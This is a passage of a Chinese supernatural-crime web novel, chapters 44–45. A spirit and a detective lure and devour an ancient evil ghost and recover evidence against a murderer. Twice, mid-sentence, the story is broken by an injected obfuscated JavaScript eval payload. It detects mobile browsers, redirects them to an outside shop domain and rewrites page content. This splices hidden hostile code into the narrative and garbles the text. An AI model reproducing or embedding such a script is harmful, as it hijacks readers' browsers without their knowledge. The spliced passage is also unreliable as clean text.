它渴求的是杀戮瞬间的战栗、吞噬灵魂的快感、以及毁灭本身带来的狂欢——唯有这样炽烈而污浊的恶行,才能成为它最甜美的食粮。 如果它强行夺舍魏明璟这种意志强大、自我意识极盛的人,就不得不持续消耗能量进行压制,就如同驯服一匹永不低头的烈马,效率低下且风险极高。 所以,在魏明璟被他控制却反而冷静地提出合作,主动承诺为它物色更契合的容器时,它也不再执着于占据这具难以驾驭的躯壳,而是毫不犹豫地选择弑主,与魏明璟达成了这场各取所需的交易。 而现在,这个主动送上门来的刑警……他的灵魂散发出一种截然不同的气息。 纯净,坚韧,像是一道它从未品尝过的、光芒四射的珍馐。 它几乎能想象到吞噬他时那战栗的狂喜! 它忍不住伸出黑手,想要先尝为快—— 轰! 一股强大的精神冲击精准地轰碎了它的贪欲! 更令它惊骇的是,这股力量……竟带着一种该死的熟悉感! 44.吞噬 薛宓匆匆赶到时,一眼便看见贺黎筠斜倚在斑驳的墙边。阳光在他身后投下长长的影子,将他周身笼罩在一层朦胧的光晕里。 ——他周身都完好无损,恶鬼也不再附近了。 她一路紧绷的心弦骤然一松,可随即神色便凛冽起来,快步上前道:“只要那恶鬼还在,它就能源源不断为魏明璟扫清障碍。就像操控你一样,它随时可以制造更多意外与自杀。我们现在缺乏指向魏明璟的直接证据,就必须先拔除这个最大的变数,再逮捕魏明璟!” 她语速极快,目光灼灼。 此前,作为非人的存在,她的力量凌驾于寻常人类和普通厉鬼之上,对付那些罪犯和净化厉鬼都游刃有余。哪怕力量远未恢复至鼎盛,薛宓也从未觉得自己会输。 但现在,对方很有可能是只修炼千年的恶鬼,道行深不可测,极有可能还在她之上。硬碰硬对她,非常不利。 “我来想办法除掉恶鬼。”薛宓斩钉截铁道,“你来搜集魏明璟的罪证。我们分头进行。” 见薛宓脸色泛白,气息也有些不稳,明显是方才为了救他也受了内伤,贺黎筠立刻反对道:“魏明璟是恶鬼的宿主,若我们先控制住魏明璟,会不会能更有效地抑制住恶鬼?你贸然去与千年恶鬼硬拼,万一……” 薛宓摇头:“和魏延璋不同,魏明璟不是恶鬼的宿主,他们之间应该是一种合作关系。控制魏明璟,也无法制约恶鬼。必须先解决恶鬼。” 顿了顿,她握紧掌心,眼中泛起冷光:“还记得我曾经和你提到的薛宁吗?” “薛宁死的那一日,我杀了她的师父,随后大开杀戒,被正道封印。而刚刚赶来的路上,我消化那股恶意时发现上面竟缠绕着与那个人如出一辙的、令人作呕的气息。如果真的是那个人的话,我必须亲手了结这段宿怨!” “但如果真的是他,就像我了解他一样,他也了解噬魂器的每一个弱点。”她话锋一转,语气陡然森寒,“正面强攻,我们毫无胜算。而面对这种有千年道行、又深谙我命门的恶鬼,唯一的办法,就是设下陷阱。” “要利用它永不餍足的贪婪,诱它深入,引它至绝地。而我必须要让自己成为湮灭它的武器!” “我有个方案!”贺黎筠忽然开口,“既然你要设下陷阱,那就以我为诱饵!” “它不是觊觎我的灵魂吗?那就给它创造一个看似完美的、足以让它心动并现身的夺取机会。” “太危险了。”薛宓蹙眉否决。 “我相信你。” 他望进她的眼睛,顿了顿,声音沉稳地反问:“你不相信我吗?” 仅仅“相信”二字,就将薛宓所有未尽的劝阻之词,全都堵在了唇边。 一个月后,六月十日,恰逢庙会。 古刹香火鼎盛,人流如织。魏明璟刚捐完款,正欲转身离开,一个清冷而陌生的女声突兀地穿透嘈杂的人声,精准地叫了他的名字: “魏明璟。” 他循声望去,只见一个身着红色连衣裙的少女静立在不远处的古柏下。 那红色鲜艳得近乎灼目,在香火缭绕、人影攒动的寺院里,突兀得像一滴血滴入静水,带着一种不容忽视的危险信号。 魏明璟自认见惯了娱乐圈中各色美人,早已对皮相之美感到淡漠。然而眼前少女的容貌,却让那身夺目的红裙都沦为了陪衬。 她的肤色是那种不见天日的冷白,清丽至极的五官,仿佛精雕细琢的冰雪。 一双眼睛黑得深不见底,始终静静地凝望着他,里面没有任何寻常香客的虔诚或喧嚣,只有一种抽离于万物之外的审视。 “今天它倒没跟在你身边,”少女微微蹙起秀气的鼻子,毫不掩饰眸中的嫌恶,“可惜,隔着这么远,还是能闻到你身上那股……属于它的令人作呕的臭味。”她顿了顿,语气里带上了一丝冰冷的讥诮,“与虎谋皮,你就真不怕最终被啃得尸骨无存吗?” 魏明璟脚步顿住,面上温和的笑意分毫未变,眼底却骤然掠过一丝极细微的探究与冷光。 若有所思地打量了一番后,他微笑回道:“恕我冒昧,我们似乎并不相识。请问您是?” 薛宓仿佛听到了什么有趣的话,轻轻耸了耸肩:“怎么,它没跟你提起过我?我们……可算得上是老相识了。”她向前迈了一小步,声音压低,却更具穿透力,“怎么样,有没有考虑过,换一个合作者?” 魏明璟眸光微闪。 恶鬼确实曾向他提及,在试图吞噬贺黎筠灵魂时遭遇了强烈的精神反击。它警告说,贺黎筠或许和他一样也签订了合作契约,恐怕很快会追查到他的身上,必须尽快将其灭口。 却只字未提,那所谓的阻碍者,竟是它的故人,还是个这么漂亮的小姑娘。 “魏明璟。” 见他沉吟,薛宓再次唤道。 这一次,她那双黑色眼瞳骤然发生了变化——清澈的瞳仁深处,一抹血色迅速晕染开来,试图直接窥探并调动他内心的恶念,以制造幻境。 但…… 没有任何可供利用的负面情绪波动,果然无法像以前一样将他坠入自己的恶意幻境里。 所有试探仿佛被无声地弹回,她眼中的血色缓缓褪去,面上闪过一丝极快的不豫,仿佛只是遇到了一点小小的麻烦,随即语气变得更为直接,甚至带上了几分抱怨:“贺黎筠最近受了重伤,真是麻烦。像他这种职业,三天两头遇险受伤,太影响我的状态了。” 她看向魏明璟,抛出真正的诱饵:“所以,我打算换个更稳妥的契约者。我觉得你似乎更合适。不知你,意下如何?” “哦?换个契约者?这倒是个出乎意料的提议”魏明璟眉梢微挑,唇边噙着一丝玩味的笑意,“不过,我该如何相信你?毕竟你刚刚还试图影响我。” 魏明璟竟还能察觉到她刚刚试图控制他?这份洞察力,着实可怕。 薛宓面上不露分毫,反而绽开一个更明媚的笑容:“恶鬼需要一具完美的容器,如果你提供不了,它就会夺舍你的身体。它对你而言,始终是一个无法掌控的变量。” “但我不同。”她向前半步,声音清晰而富有诱惑力,“我能行走于阳光之下,是一个完全独立的个体。我可以成为你手中最锋利的刀,替你处理所有……棘手的麻烦。”她说着,递出一张看似普通的纸条,“这是我的联系方式。感兴趣的话,随时可以找我哦~” 离开寺庙,确认周身再无魏明璟的气息后,薛宓迅速坐进路边一辆不起眼的轿车。 车门一关,她脸上从容的笑意瞬间消散,转而蹙紧眉头,看向驾驶座上的贺黎筠,担忧地问:“你确定他不会立刻把这件事告诉那只恶鬼?” “像魏明璟这样的高智商罪犯,绝不会完全信任任何人,哪怕对方是超自然的存在。一旦他开始将恶鬼视为一件强大却危险的工具,他就绝不会愚蠢到直接汇报‘今天有人试图策反我’。这种刻意的隐瞒,本身就会在他们之间埋下猜忌的种子。” 就像薛宓能感应恶鬼的气息一样,她与魏明璟的这次会面,恶鬼又怎么可能察觉不到她的气息。 他们唯一能与魏明璟单独对话的机会,就是他前往寺庙塑造人设的日子。 为了挽回魏氏集团的形象,魏明璟定期出现在香火鼎盛的名刹,慷慨捐赠巨额香火,精心经营着热衷慈善、虔诚礼佛的青年才俊形象。 而六月十日,也就是农历六月十九日,恰逢观世音菩萨成道日。像这样的日子往往汇聚名流富商,魏明璟必定现身,既为礼佛,也为拓展人脉、洽谈合作。 至于,薛宓递给魏明璟的那张纸条,也绝非普通纸张。 它由浸泡过特殊符水的纸浆制成,背面用极淡的朱砂水绘制了微不可见的克制符文,晾干后无色无味,普通人难以察觉。 这张符纸的关键作用,并非直接攻击,而是离间。它会让恶鬼误以为认为魏明璟已心生异心,暗中与她达成了某种合作。 而贺黎筠重伤的消息,就如同将一份香气四溢却毫无防护的美味佳肴摆在了饥饿的掠食者面前。 对于一个贪婪的吞噬者而言,一个灵魂强大的猎物因重伤气息微弱,几乎丧失了反抗能力,简直是个千载难逢的捡漏机会。还不等薛宓那边发觉,它就能轻轻松松地将他的灵魂吞噬。 所以,它一定会先下手为强,先铲除她的契约者,以此重伤她。 而他们只需要在医院布好阵法和结界,守株待兔。在它现身的瞬间,发动致命一击! 三日后凌晨,恶鬼果然如预料般上钩,带着沛然的阴冷气息直扑病床上的贺黎筠。 可就在它污秽的利爪即将触及贺黎筠额头的刹那,病床上本该虚弱昏迷的贺黎筠,睁开了眼。 他迅速掀开被褥,只见他赤裸的上身及手臂上,并非病号服,而是用特制的朱砂与秘银颜料,精心绘制满了古老而繁复的降魔符文! 这些符文在昏暗的病房内闪烁着微弱的金红色光泽,彼此勾连,构成一个以他自身为阵眼的强大困缚之阵。 与此同时,一直凭借隐身咒藏匿于病房角落的薛宓骤然发动阵法! 霎时间,那些绘制在贺黎筠身上的符文仿佛被瞬间注入了生命,光芒大盛。 炽烈的金红色光流从他皮肤上奔涌而出,不再是微光,而是化作无数条灼热的光之锁链,纵横交错,瞬间将整个病房笼罩在一个坚不可摧的降魔结界之中。 然而,贺黎筠却见那恶鬼非但没有惊退,反而骤然悬停半空,周身翻涌的黑雾凝滞一瞬,随即爆发出一阵低沉而扭曲的讥讽诡笑:“呵,果然如此,一个精心布置的陷阱。但——你们当真以为,我会以真身踏入这瓮中?” 笑声未落,那悬浮在半空、被金光锁链层层缠绕的恶鬼躯体,竟开始如同水中倒影般剧烈波动、扭曲起来! 它的形态迅速变得稀薄、透明,随后彻底爆散成漫天飘零的黑色光点。 “噬魂器……果然是你。” 恶鬼的声音嘶哑而扭曲,仿佛来自深渊的回响,带着积攒了千年的怨毒与一丝难以置信的讥讽。 “千年前,那群自诩正义的废物,竟未能将你彻底湮灭!但你以为,重复一次千年前的侥幸,就还能再次将我诛灭吗?” 它的语调陡然拔高,充满了居高临下的蔑视与一种近乎疯狂的占有欲:“别忘了——你是谁打造出来的!你的一切,你的本质,皆源于我!你不过是我的一件作品!” 话音未落,异变陡生! 那股盘踞的邪恶能量骤然收缩、凝聚,化作无数双漆黑、扭曲的无形鬼手,撕裂空气,带着尖啸般的怨念,不再是佯装扑向贺黎筠,而是直刺隐藏在角落里的薛宓! 原来,它早已洞悉了薛宓全部的谋划! 它确实渴望贺黎筠那纯净的灵魂滋补自身,但更让它无法抗拒的,是另一个发现,薛宓特意避开自己接近魏明璟,极有可能力量并未完全恢复。 那说不定,所谓的陷阱,反而能成为它千载难逢的反杀机会! 所以,它将计就计,果断前来。表面上扑向贺黎筠,制造出急于吞噬的假象,但真正的目标,自始至终都是薛宓! 霎那间,强烈的怨念和恶意疯狂涌入薛宓体内。 作为打造噬魂器的主人,它知道噬魂器作为容器,有一个致命的弱点。 吞噬过多或过于强大的邪恶灵魂,可能超出其处理能力,导致自身灵魂被污染、意识混乱,甚至反被恶念操控。 而薛宓作为它眼中最成功的作品,作为它打造的噬魂器中唯一生出器灵的杰作,却偏偏孕育出了最不该有的、最失败的人类情感。 这种情感,便是她第二个致命弱点! 所以,下一秒,薛宓眼前的景象变了! 她看见了。 不,不是看见,是她正在看着自己生出了手…… 鲜血从薛宁的胸口染开,温热的、黏腻的触感令她全身颤抖,她惊慌地、徒劳地想要抓住薛宁不断下滑的身体…… 她生出了第二只手,终于颤抖着、死死抱紧滑倒在地的薛宁。 她感受到了。 那粘稠的、属于薛宁的血,再一次灼烫她的指尖,熟悉得几乎让她窒息。 “是你……” 一个冰冷扭曲的声音在她脑海中尖啸,一遍又一遍,撕扯着她的神经: “是你杀了薛宁!是你害死了她!看看她的眼神——她在恨你!她最后恨的是你!!!” 是、是她…… 是她害死了薛宁。 无数被恶意放大的痛苦记忆如潮水般将她彻底淹没。她的世界急速坍缩,只剩下那片血红与绝望的场景在眼前不断地循环放映。 “为什么……要杀我?我们不是最好的朋友吗?” 怀中的薛宁忽然睁眼,那双曾经盛满笑意的眸子此刻只余冰冷的恨意与质问。 “为什么用我的样子活着!为什么!” 体内流转的力量仿佛被无形的手猛然扼住源头,她竭力维持的结界开始发出不堪重负的尖鸣。 表面裂纹疯狂蔓延,如琉璃迸裂,她的意识在惊涛骇浪中浮沉,几近崩毁。 “对、对不起……” 现实之中,贺黎筠看见一团黑气扑向薛宓,随后她便僵立不动,瞳孔涣散。周身黑气如挣脱枷锁的凶兽,顷刻化作暴虐的风涡将她吞噬! 哪怕薛宓再三叮嘱他绝对不可离开阵眼,他还是咬牙冲上前,一把抓住她的手:“薛宓!醒过来!看着我!” 没有任何回应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821238|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的手冰冷得可怕,仿佛被困在了另一个维度的噩梦里。结界摇摇欲坠,她泪流满面,只反复呢喃着零碎的字句:“是我……是我……” “不知死活的蝼蚁!” 恶鬼察觉干扰,怒斥声中,一股黑气化作利爪猛然扼住贺黎筠的脖颈! 恐怖的窒息感瞬间剥夺了呼吸,贺黎筠脸色迅速涨红,视野边缘开始发黑,但他仍死死抓着薛宓的手,不肯松开…… “醒……过……来!” “那……不……是……真……的!” “薛……宓……!” 幻境里,薛宓跪在血泊中,泪水混着温热的血滑进衣领,意识却突然被一声撕心裂肺的呼唤凿穿…… 不是通过耳朵。 是灵魂深处传来震颤,像契约纽带被狠狠扯动,带着滚烫的温度与熟悉的频率。那声音破碎却执拗,还混着濒临崩溃的绝望。 谁……? 薛宓混沌的意识里浮起一丝困惑。 除了薛宁,这世间怎会有人如此清晰地唤她名字? 可这声线……像刻在灵魂里的印记,哪怕隔着忘川也认得出。 “薛……宓……别信……” 声音更近了,带着血沫翻涌的闷响。 薛宓猛然抬头。 眼前薛宁的脸开始扭曲,而那充满怨毒的身影之后,一片血色的混沌中,竟隐隐浮现出贺黎筠模糊而痛苦的身影! 他半跪在地,被黑气扼住的脖颈青筋暴起,嘴唇因窒息而泛紫,但他却仍握着她的手,用尽力气朝她嘶喊。 ……贺……黎……筠……? 几乎同时,那双抚摸她脸颊的手骤然一变,指甲暴长如刃,转而死死掐住她的脖颈,声音怨毒扭曲:“你杀了我,现在轮到我了!” “贺黎筠……!” 这三个字如同破开黑暗的惊雷,骤然劈开了薛宓混沌的意识! 幻境的血色褪成碎片,她看清了自己正跪在恶鬼编织的噩梦里,而真实的痛楚正顺着契约灼烧她的五脏六腑——他在被扼喉!他在窒息! 眼中血色戾气暴涨,她反手一把握住“薛宁”掐在她脖子上的手腕:“薛玄知!你也配扮成她?!” 咔嚓! 幻象碎裂! “害死薛宁的人是你,不是我!” “千年前,我能杀你!千年后的今日,我依旧能让你形神俱灭——!” “贺黎筠,就是现在!结阵——!” 随着她一声令下,幻境彻底土崩瓦解! 她的双眼迸发出前所未有的血色光芒,一手反握住贺黎筠的手,一手猛地拽住恶鬼缠在贺黎筠身上的黑气,将其扯到自己面前。 双掌相抵的刹那,天地间所有光影都被吞噬。金色的光芒顺着两人交握的手汹涌奔流,交织成一道坚不可摧的禁锢牢笼! 恶鬼把大部分力量锁在幻境和吞噬贺黎筠上,此刻的防御薄得像层纸! 是它的自负,给了她绝地反击杀死它的机会! 精准抓住了这稍纵即逝的破绽,薛宓另一只手如同铁钳般扼住恶鬼的脖颈,不再试图进行任何徒劳的净化,而是彻底敞开了自己作为噬魂器的最原始、最贪婪的本能——强行吸收、吞噬恶鬼那积累了千年的邪恶本源! 这个过程凶险万分,无数暴虐的记忆与怨毒的能量疯狂倒灌入她的灵魂,试图污染她、撕裂她。 可她不管—— 庞大的吸力如同黑洞,死死锁定了恶鬼的核心本源——一枚由万千怨念淬炼而成的漆黑结晶。 这枚结晶源于其生前最炽烈的执念、怨毒与不甘,死后吸纳天地阴煞、吞噬残魂,历经千年淬炼方才凝实。 而在降魔阵法的绝对压制下,恶鬼根本逃无可逃,避无可避! “不——!!!这不可能!!!” 恶鬼发出一声蕴含着极致惊恐与难以置信的尖啸! 它千算万算,也没算到噬魂器生出的器灵竟能这么轻易地就挣破了它精心编织的幻境! 千年前,她因薛宁的死而暴走,失控中疯狂杀人,千年后,她竟能在清醒的意志下,主动结阵,反过来将它吞噬! “你本该被愧疚吞噬,被自己的力量反噬!为何……为何会如此清醒……!?” “闭嘴!”薛宓的声音仿佛凝着千年未散的寒,吞噬的动作却愈发贪婪,“千年前我让你的亡灵侥幸苟活千年。现在——” 漆黑结晶在她掌心捏成齑粉,她冷声道,“该轮到我收利息了。” 本源被捏碎后,恶鬼的力量如同决堤的洪流,笼罩四周的浓重黑雾发出凄厉无比的惨嚎,剧烈地翻腾、溃散! 直至被薛宓彻底汲取、撕碎、吞没! “咳咳……咳咳……” 一口气吞噬果然太勉强了……剧烈的反噬让薛宓猛地喷出一口浊气,体内翻涌的怨气几乎要撑破她的经脉,让她眼前一黑,踉跄一步就要倒下。 但她身子刚刚一歪,一只有力的手臂就从身后及时箍住了她的腰,将她虚软的身子死死按进了一个温热的胸膛。 薛宓的脑袋下意识栽进了他肩窝,鼻尖却突然窜进浓重的血腥气。 她偏头,这才看见他抬起的手腕——一道深可见骨的划痕正往外渗血,他竟用小刀往手腕上又划了一道,将汩汩往外冒着血的手腕递到了她的嘴边。 薛宓:“……?” “给你补点血……够吗?”贺黎筠声音哑得厉害。不知为何,对上薛宓灼灼的目光,他喉结动了动,无意识别开了脸——像是被那团火烫到似的。 薛宓的视线随着他转头的动作跟着落在了他脖颈处。五道青黑指印横亘在冷白的皮肤上,边缘还渗着淡红血丝,像被恶鬼的爪子生生抠出来的。 她傲娇地扭头:“这点毛毛血?勉强够塞牙缝。不过……” 顿了顿,她转而倾身凑近,鼻尖几乎要碰到他渗血的手腕:“看在你诚心供奉的份上,我就不客气啦!” 话音未落,她已攥住他手腕。 指腹触到他皮肤下跳动的脉搏,烫得惊人。她低头咬上那道最深的伤口,牙齿陷入皮肉的瞬间,铁锈味的血混着他身上令人安心的熟悉气息,在舌尖化开一片灼烧的热。 贺黎筠的手臂猛地绷紧,青筋在腕间凸起,却始终没抽回。 薛宓察觉到他的紧绷,心头莫名一软,咬到一半便慌忙松了力道,转而用舌尖轻轻舔一舐伤口。 温热的湿意拂过破损的皮肤,血渐渐止住了。 “好啦,勉强够了。” 贺黎筠没说话,只觉得腕间痒得厉害。那不是伤口的疼,是她的舌尖扫过皮肤时,带起的细小电流,顺着手臂直窜心脏。 他连忙收回手,耳尖不知怎么的竟泛起一层奇怪的薄红。 45.罪证 “刚才吞噬那恶鬼时,发现它体内还困着一些灵魂,便一同吸收了。” 垂眸凝视着掌中一团团蜷缩的灰影,薛宓轻叹道:“那些无辜的魂灵,我会慢慢净化,然后送他们往生。至于作恶多端的魏延璋……” 她语气骤然转冷。 贺黎筠一直以来的心愿,便是找到杀害父亲的凶手。而一年后的今天,她终于能替他完成这个执念。 薛宓缓缓抬起手,掌心幽光流转,一个浑浊不堪、瑟瑟发抖的灵魂从中滚落出来,正是魏延璋。 恢复意识的魏延璋一眼认出眼前的贺黎筠是刑警,一想到自己在会议上突然心脏剧痛,而耳边是那恶鬼与儿子合作的嘲讽声,他如同抓住救命稻草般激动起来:“警察同志!我要举报!举报我儿子魏明璟!他是十六年前连环杀人案的真凶!他……” 话音未落,他忽然僵住——自己的手掌正穿透贺黎筠的肩头,而对方却仿佛看不见他一般,目光只是专注地看着眼前的少女。 他惊恐地瞪大双眼,难以置信地看着自己半透明的手掌。此时,才后知后觉地意识到,原来自己早已是一缕幽魂…… “啊——!!!” “啪!” 薛宓毫不留情地一巴掌扇了过去,眼中怒火燃烧:“你知道他是谁吗?他是贺临川的儿子。说!当年是不是你派人杀了贺临川?!” “是……是我……”魏延璋被打得魂体震荡,惊骇于眼前这个看上去刚成年的少女竟能触碰到灵体的自己! 而贺黎筠也震惊地望着薛宓对空气挥拳。 意识到贺黎筠看不见也听不见鬼魂,薛宓立刻一把握住他的手。灵力流转间,魏延璋的魂体在贺黎筠眼前骤然清晰起来。 “贺临川,他重新搜查第一个案发现场时,在附近草丛里发现了一枚带血的校徽,顺藤摸瓜查到了学校……我、我怕他再查下去,就会查到明璟头上……” 魏延璋曾和贺临川打过交道,他和别的警察不一样,他太执着,能力太强,常规的施压和贿赂手段根本拦不住他……而魏明璟犯下的连环杀人案实在是太骇人听闻,一旦曝光,魏家必将万劫不复。 当时魏氏集团正值上升期,容不得半点丑闻,而他相信,儿子只是一时因母亲病故遭受巨大打击,才行为失控。 作为父亲,他必须保护儿子。作为掌舵人,他更要维护集团的声誉。 他不得不制造□□仇杀的假象,铲除贺临川这个最大威胁…… 一想到当年自己这个错误决定也害死了自己,魏延璋的魂体剧烈地波动着。 仿佛被无形的痛苦扼住咽喉,他颤抖着,几乎不敢看贺黎筠的眼睛,声音里充满了迟来了十六年的悔恨:“我……我知道现在说什么都晚了……但我必须承认,贺警官……你父亲,他是一个真正正直、不屈不挠的好警察。是我……是我被恐惧和所谓的家族利益蒙蔽了双眼,犯下了不可饶恕的罪孽……对不起……真的对不起……” 杀父仇人就在眼前,甚至道歉也是死了后才悔悟,贺黎筠的拳头猛地攥紧,咬着牙打断他迟来的道歉:“那枚校徽,你还保留着吗?还是当年就烧毁了……” “有!有!”魏延璋忙不迭地点头,“我当时也不知道为什么,鬼使神差地没销毁它……可能也是怕他未来会失控,想着留个后手,或许能牵制他……” “他根本就是个疯子!彻头彻尾的疯子!” 贺黎筠冷哼一声,眼中没有大仇得报的快意,只有无尽的讽刺:“这是你的报应。十六年前你为包庇儿子杀害警察,十六年后你被自己招来的恶鬼吞噬。天道轮回。” “净化了他吧。” 他移开目光,对薛宓轻声道。 真正面对杀父仇人,贺黎筠发现,自己的内心竟出乎意料的平静。 或许是因为对方早已付出生命代价,自己也已经无法将他绳之以法…… “我不。”薛宓干脆利落地扭头,“送这种人往生?像这样作恶多端之人,就应该去我的幻境里体验一番,让他亲自尝尝那些被害者的痛苦!” 她双眸蓦然染上血色,对惊恐万状的魏延璋绽开一个甜美的笑容:“魏延璋,提前体验一下地狱吧。” 随手将魏延璋丢进幻境后,薛宓就见贺黎筠一眨不眨地望着自己。 她歪了歪头,眼中血色未褪:“你说,我们没有权力夺走任何人的生命。但他现在已经不是人了……所以,把他的灵魂挫骨扬灰也不犯法吧?” “嗯。”贺黎筠应了一声,目光落在她依旧有些苍白的脸上,语气缓和下来,“但你力量刚恢复,别太勉强。如果还虚弱……可以再吸我一口。” 他说着,就将手腕递到她面前。 “刚才咬了一口,你就一副快要痛死的模样,我可不敢再吸了。” 贺黎筠的耳根肉眼可见地迅速泛红,他下意识想反驳,声音却莫名低了几分:“……没有痛。” 空气中不知为何弥漫开一种微妙的氛围,薛宓轻咳一声,主动打破了这层古怪的静谧,提议道:“要不要……去我的幻境里逛逛?实时观赏魏延璋怎么被自己的业障反复折磨,保证比任何电视剧都精彩。” “不了。”贺黎筠摇了摇头。 他没有欣赏犯罪者痛哭流涕的恶趣味,目光已然恢复了刑警特有的冷静与清明:“当务之急,是先找到那枚校徽。” 当晚,薛宓的手机突然响起,一个没有备注的号码跃入眼帘。 知道她手机号的只有区区几人,果然按下接听,是魏明璟。 “多谢你替我解决了一个麻烦。” 他声音清冷,语气里听不出丝毫慌张,反而像在评价一件与己无关的事。 对魏明璟而言,与恶鬼的合作本就并非所愿。 在他眼里,那东西不过是亟待清除的污秽,不仅无法带来真正的进化,反而时刻需要提防其反噬自身。 他乐得坐山观虎斗,甚至带着一丝审慎的好奇,想亲眼看看薛宓究竟有多大能耐,故而才放任恶鬼前去。 恶鬼被灭的瞬间,魏明璟便清晰地感知到了。 如今薛宓胜出,在他眼中,或许从一个需要清除的障碍,转变为了一个值得评估的、潜在的合作对象。 薛宓对着电话轻笑一声:“现在说感谢,是不是太早了些?或许再过一会儿,你就该忙着应付上门拜访的警察了。” 魏明璟那端的沉默只持续了一瞬,随即恢复了一贯的从容,反问道:“哦?是从那消亡的恶鬼那里,听到了些什么风言风语吗?” “不。”薛宓慢条斯理地纠正他,“是从你父亲魏延璋的亡魂口中,听到了一些更有趣的事情。” 魏明璟若有所思地低语:“看来……他终究还是留了一手。” 就在两人通话的同时,另一边根据魏延璋提供的线索,贺黎筠迅速定位并打开了其秘密存放的一个储物箱。 箱内不仅有那枚校徽,还有一些警方调查十六年前连环杀人案的内部资料和魏明璟暗中默默进行非法人体实验,试图制造完美人类的调查报告。 “真是个疯子。”贺黎筠忍不住脱口骂道。 而就是这一声咒骂,魏明璟的声音再次冷冷响起:“贺黎筠,你有多久没回家看看你母亲了?” 贺黎筠的心猛地一沉,立刻拨打崔芳华的手机。无人接听后,他又再次拨打老家电话。 这次电话很快被接起,听筒那端传来外公的声音。 “喂?黎筠啊?” “外公!”贺黎筠的声音因急切而显得有些发干,“妈在家吗?她手机关机了。” “芳华?她还没回来呢。说是今天单位有点事,要晚点下班……怎么,你找她有事?” “妈回家后,立刻让她回我电话。”贺黎筠强行压下喉咙里的焦灼,尽量让声音听起来平稳。 然而,一挂断电话,那勉强维持的镇定瞬间粉碎。他猛地一把夺过薛宓的手机,对着那头低吼道:“魏明璟!你把我妈怎么了?!” “很简单。”魏明璟的声音听不出任何情绪,一个链接随即发送到了薛宓的手机上。 点开链接,只见画面中,崔芳华被捆绑在椅子上,嘴被胶带封住,眼中充满恐惧。 贺黎筠的心猛地被攒紧,他甚至来不及看清背景细节,没来得及分辨任何可供追踪的线索,手机屏幕倏地一暗。 照片被对方彻底撤回了,整个链接直接变成了404,仿佛从未存在过。 “把你手里的东西原封不动地放回去,你母亲就能平安到家。”魏明璟的声音带着一丝不容置疑的笑意,透过听筒传来,“我希望你能做出最明智的选择。” 贺黎筠面色凝重,暗中却将自己的手机迅速塞到薛宓手中,并用眼神示意她立刻报警。 对着电话那头,语气却刻意放缓,显得顺从:“好,我听你的。但我必须先确认我妈现在是否安全,让我跟她通话。” “贺黎筠。”魏明璟轻笑一声,“你以为我不清楚你们警方那点小把戏吗?现在,是不是想偷偷报警?” 他语气陡然转冷:“把地址发我。我会派人来取。确认无误后,我自然放人。” 话音刚落,电话便□□脆地挂断。 见贺黎筠竟真的将那一叠文件重新塞回储物柜,随即拉着她快步上车,薛宓急切地低声道:“就这么把证据交给魏明璟?万一他出尔反尔怎么办?” “魏明璟对我们的一举一动了如指掌,说明我们很可能从离开医院起就被他的人盯上了。” 贺黎筠迅速打断她,声音压得极低,目光锐利地扫过车窗外的后视镜,警惕着任何可疑的踪迹。 “否则,他凭什么那么笃定我没有偷偷拍下文件的照片?原件就算被销毁,清晰的复印件依然具有法律效力。可他似乎毫不担心这一点……” “唯一的解释就是,他安插的眼线一直在远处监视着我们的一举一动。他们清楚地看到我只是取出了文件,根本没有操作手机拍照的时间和环境。这份确信,恰恰暴露了他们的存在。” 他说着,缓缓摊开掌心,掌心里藏着的赫然是一枚沾染着暗沉血迹、样式陈旧的校徽,被一个透明袋完好无损地保护着。 “他们在远处,只能看见我拿出了一叠文件,又放了回去。”贺黎筠的嘴角勾起一丝不易察觉的冷峻弧度,“但他们绝对想不到,真正决定性的证据,是这枚十六年前的校徽。它,一直在我手里。” 半小时后,魏氏集团总公司一楼大厅。 迟迟未能等到母亲平安消息的贺黎筠,面色冰寒,径直亮出证件要求立刻见董事长魏明璟。 前台小姐保持着职业微笑,语气却十分坚定:“非常抱歉,贺警官,没有预约是不能见魏董的……” 然而她的话还未说完,内线电话便响了起来。她接起电话听了几句,脸色微变,连忙对着贺黎筠恭敬道:“贺警官,魏董请您上去。” 一到达顶层,一眼就看到了正站在董事长办公室外、仿佛早已等候他多时的魏明璟,贺黎筠一直强压的焦灼与怒火骤然间爆发。 他双眼充血,猛地冲上前,一把揪住他的衣领,将他狠狠掼在冰冷的墙面上:“魏明璟!我妈到底在哪里?!你把她怎么样了——!为什么还没有她的消息!” 就在这剑拔弩张、几乎要彻底失控的刹那—— 旁边会议室厚重的实木门“咔哒”一声被从内推开。 崔芳华拿着一份文件,一脸诧异地走了出来:“小筠?你怎么在这儿?还这么大声……” 直到看见被自己儿子像罪犯一样压在墙上的魏董,她脸色瞬间变了,几乎是第一时间冲上前,将自己儿子的手从魏明璟的衣领上拽了下来,语气带着惊惶与急切:“魏董,实在对不起!孩子他……他一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831445|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太着急了,绝对不是有意的!我代他向您道歉!” “妈,你没事吧。刚刚一直在这里吗?” 贺黎筠担心地看上看下,就见崔芳华脸上毫无遭受惊吓或绑架的痕迹,反而被他过激的反应弄得一头雾水,一脸奇怪地问:“我?我能有什么事啊?我们单位刚接了一个重要的大项目,我一直就在这儿开会开到现在,连会议室都没出过。” 她说着,还晃了晃手中那份厚厚的项目文件。 显然,魏明璟根本没有真正绑架崔芳华。那张迅速撤回的照片,就是利用AI技术合成的假象。 